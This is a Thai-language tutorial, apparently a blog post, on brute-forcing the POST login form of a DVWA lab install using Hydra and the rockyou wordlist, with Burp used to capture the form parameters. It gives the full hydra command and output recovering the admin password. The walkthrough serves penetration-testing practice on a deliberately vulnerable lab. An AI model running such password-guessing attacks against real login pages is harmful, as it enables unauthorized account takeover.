How to guess the passwords from Log-in page – hydra (Post method)

บทนำ (Overview)

ในบทความนี้เราจะมาทดสอบการเดารหัสผ่านจากหน้า “Login” ของ “Web page” โดยใช้ โปรแกรม “Hydra” ที่มีอยู่ใน “Kali” โดยในบทความนี้นำเสนอการเดารหัสผ่านโดยใช้ “Dictionary” ที่ชื่อ “Rockyou” ซึ่งก็มีจัดเตรียมอยู่ใน “Kali” เช่นกัน

โดยเราจะใช้ “Dictionary” ดังกล่าวส่งผ่านเข้าไปยัง “Server” โดยใช้ “Post method” ซึ่งหน้า “Login” ของ “Web page” ดังกล่าวใช้งานอยู่ และพยายามหาค่า “Return” ที่แตกต่างจาก “Server” ตอบกลับจากสิ่งที่เราระบุไป ซึ่งก็คือข้อความประเภท “Failed login” เพื่อจะค้นพบรหัสผ่านที่ถูกต้องนั้นเอง

ขั้นตอน (Steps)

  1. ติดตั้งเว็บช่องโหว่ “DVWA” จาก (How to install DVWA in Kali)
  2. ที่หน้า Login (http://192.168.0.16/DVWA-1.0.8/login.php) ทดสอบใช้ “username” และ “password” ที่ผิด และสังเกตข้อความตอบกลับ พบว่าคือ “Login failed” dvwa12
  3. ตั้งค่าโปรแกรม “Burp” (How to set burp to intercept HTTP messages) เพื่อดักข้อมูล “HTTP” ตรวจสอบรูปแบบข้อมูลที่จะต้องส่งไปยัง “Server” dvwa11
  4. จากนั้นไปที่ “Kali” เพื่อเตรียม “Word-lists” สำหรับ “Brute-force” รหัสผ่าน
  5. ไปที่โฟลเดอร์แล้วใช้คำสั่งตามข้างล่างเพื่อ “unzip” ไฟล์ “rockyou”
    root@kali:~# cd /usr/share/wordlists/
    root@kali:/usr/share/wordlists# ls -l
    total 52108
    lrwxrwxrwx 1 root root       25 Jan  8  2014 dirb -> /usr/share/dirb/wordlists
    lrwxrwxrwx 1 root root       30 Jan  8  2014 dirbuster -> /usr/share/dirbuster/wordlists
    lrwxrwxrwx 1 root root       35 Jan  8  2014 dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt
    lrwxrwxrwx 1 root root       41 Jan  8  2014 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
    lrwxrwxrwx 1 root root       45 Jan  8  2014 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
    lrwxrwxrwx 1 root root       46 Jan  8  2014 metasploit -> /usr/share/metasploit-framework/data/wordlists
    lrwxrwxrwx 1 root root       51 Jan  8  2014 metasploit-jtr -> /usr/share/metasploit-framework/data/john/wordlists
    lrwxrwxrwx 1 root root       39 Jan  8  2014 metasploit-pro -> /opt/metasploit/apps/pro/data/wordlists
    lrwxrwxrwx 1 root root       41 Jan  8  2014 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
    -rw-r--r-- 1 root root 53357341 Mar  3  2013 rockyou.txt.gz
    lrwxrwxrwx 1 root root       34 Jan  8  2014 sqlmap.txt -> /usr/share/sqlmap/txt/wordlist.txt
    lrwxrwxrwx 1 root root       57 Jan  8  2014 termineter.txt -> /usr/share/termineter/framework/data/smeter_passwords.txt
    lrwxrwxrwx 1 root root       57 Jan  8  2014 w3af.txt -> /usr/share/w3af/core/controllers/bruteforce/passwords.txt
    lrwxrwxrwx 1 root root       29 Jan  8  2014 webslayer -> /usr/share/webslayer/wordlist
    lrwxrwxrwx 1 root root       25 Jan  8  2014 wfuzz -> /usr/share/wfuzz/wordlist
    lrwxrwxrwx 1 root root       53 Jan  8  2014 wfuzz.txt -> /usr/share/golismero/wordlist/wfuzz/Discovery/all.txt
    
    root@kali:/usr/share/wordlists# gunzip rockyou.txt.gz
    t@kali:/usr/share/wordlists# ls -l
    total 136648
    lrwxrwxrwx 1 root root        25 Jan  8  2014 dirb -> /usr/share/dirb/wordlists
    lrwxrwxrwx 1 root root        30 Jan  8  2014 dirbuster -> /usr/share/dirbuster/wordlists
    lrwxrwxrwx 1 root root        35 Jan  8  2014 dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt
    lrwxrwxrwx 1 root root        41 Jan  8  2014 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
    lrwxrwxrwx 1 root root        45 Jan  8  2014 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
    lrwxrwxrwx 1 root root        46 Jan  8  2014 metasploit -> /usr/share/metasploit-framework/data/wordlists
    lrwxrwxrwx 1 root root        51 Jan  8  2014 metasploit-jtr -> /usr/share/metasploit-framework/data/john/wordlists
    lrwxrwxrwx 1 root root        39 Jan  8  2014 metasploit-pro -> /opt/metasploit/apps/pro/data/wordlists
    lrwxrwxrwx 1 root root        41 Jan  8  2014 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
    -rw-r--r-- 1 root root 139921507 Mar  3  2013 rockyou.txt
    lrwxrwxrwx 1 root root        34 Jan  8  2014 sqlmap.txt -> /usr/share/sqlmap/txt/wordlist.txt
    lrwxrwxrwx 1 root root        57 Jan  8  2014 termineter.txt -> /usr/share/termineter/framework/data/smeter_passwords.txt
    lrwxrwxrwx 1 root root        57 Jan  8  2014 w3af.txt -> /usr/share/w3af/core/controllers/bruteforce/passwords.txt
    lrwxrwxrwx 1 root root        29 Jan  8  2014 webslayer -> /usr/share/webslayer/wordlist
    lrwxrwxrwx 1 root root        25 Jan  8  2014 wfuzz -> /usr/share/wfuzz/wordlist
    lrwxrwxrwx 1 root root        53 Jan  8  2014 wfuzz.txt -> /usr/share/golismero/wordlist/wfuzz/Discovery/all.txt
    
  6. สังเกตว่าจากไฟล์ “rockyou.txt.gz” เปลี่ยนเป็น “rockyou.txt”
  7. จากนั้นไปที่ “command prompt” แล้วใช้คำสั่ง
    hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form:"//192.168.0.16/DVWA-1.0.8/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
    
    • hydra: เรียกใช้โปรแกรม hydra
    • -l LOGIN or -L FILE login: ตัวอักษรเล็กหมายถึง “username” ที่เราระบุไว้สำหรับ “brute-force” รหัสผ่าน ส่วนตัวอักษรตัวใหญ่หมายถึง เราสามารถเรียกใช้ไฟล์ที่บรรจุ “username” หลายๆ อันไว้ได้ ในที่นี้ตัวอย่างลองหารหัสผ่านจาก “username” ที่ชื่อ “admin”
    • -p PASS or -P FILE try password PASS เช่นเดียวกับ “username” จากตัวอย่างเรียกใช้ไฟล์ “rockyou.txt” ที่มีรหัสผ่านบรรจุอยู่จำนวนมาก
    • http-post-form: บอกให้ hydra รู้ว่าจะ “Brute-force” ผ่าน “Web form” หรือ “Post method”
      • จากนั้นตามด้วย “URL” ของ “login page” ที่ได้จากการ “Intercept” จาก “Burp”
      • ตามด้วย “parameter” ที่ได้จากการ “Intercept” จาก “Burp” เช่นกัน โดยที่
        • ^USER^ จะถูกแทนค่าจาก -l
        • ^PASS^ จะถูกแทนค่าจาก -P
        • Login เป็นค่าคงที่ จากการทดสอบ Intercept หลาย ๆ ครั้ง
      • สุดท้ายคือค่า “Response message” ที่ “Login” ไม่ถูกต้อง นั้นคือ “Login failed”
      • ทุกค่าคั่นด้วย : ไม่มีช่องว่างและอยู่ภายใต้ “”
  8. ทดสอบใช้งานคำสั่งดังกล่าว
    root@kali:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form:"//192.168.0.16/DVWA-1.0.8/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
    Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
    
    Hydra (http://www.thc.org/thc-hydra) starting at 2015-07-19 03:39:27
    [DATA] 16 tasks, 1 server, 14344399 login tries (l:1/p:14344399), ~896524 tries per task
    [DATA] attacking service http-post-form on port 80
    [80][www-form] host: 192.168.0.16   login: admin   password: password
    1 of 1 target successfully completed, 1 valid password found
    Hydra (http://www.thc.org/thc-hydra) finished at 2015-07-19 03:39:33
    
    
  9. จากผลการทดสอบพบว่า  รหัสผ่านของ “admin” คือ “password” นั้นเอง

ใส่ความเห็น